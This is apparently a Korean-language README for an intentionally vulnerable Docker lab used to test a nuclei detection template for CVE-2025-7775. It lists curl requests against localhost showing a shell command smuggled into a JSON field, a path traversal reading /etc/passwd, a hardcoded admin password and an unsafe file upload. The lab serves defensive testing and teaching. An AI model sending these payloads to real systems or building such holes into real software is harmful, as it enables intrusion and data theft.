CVE-2025-7775 취약한 실습 환경

이 저장소는 CVE-2025-7775에 대한 nuclei 템플릿을 테스트하기 위한 취약한 환경을 제공합니다.

실행

docker build -t vuln-app .
docker run -d --name vuln-test -p 5000:5000 vuln-app

취약점 테스트

1. 원격 명령 실행 (RCE)

curl -X POST http://localhost:5000/api/v1/configuration \
  -H "Content-Type: application/json" \
  -d '{"payload":"ls > /tmp/poc_rce.txt"}'

docker exec -it vuln-test cat /tmp/poc_rce.txt

2. 경로 탐색 (Path Traversal)

curl "http://localhost:5000/download?file=/etc/passwd"

3. 하드코딩된 자격 증명

curl -X POST http://localhost:5000/api/v1/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin", "password":"citrix123"}'

4. 안전하지 않은 파일 업로드

echo "POC FILE UPLOAD" > test.txt
curl -X POST -F "[email protected]" http://localhost:5000/upload
docker exec -it vuln-test cat /tmp/test.txt

사용 시 참고 사항

• 이 환경은 테스트 목적으로만 제공되는 시뮬레이션된 취약 환경입니다
• 격리된 연구실 환경에서만 사용하세요
• 프로덕션 용도로 사용하지 마세요
• 교육 및 보안 연구 목적으로만 사용하세요

정리

docker stop vuln-test
docker rm vuln-test
docker rmi vuln-app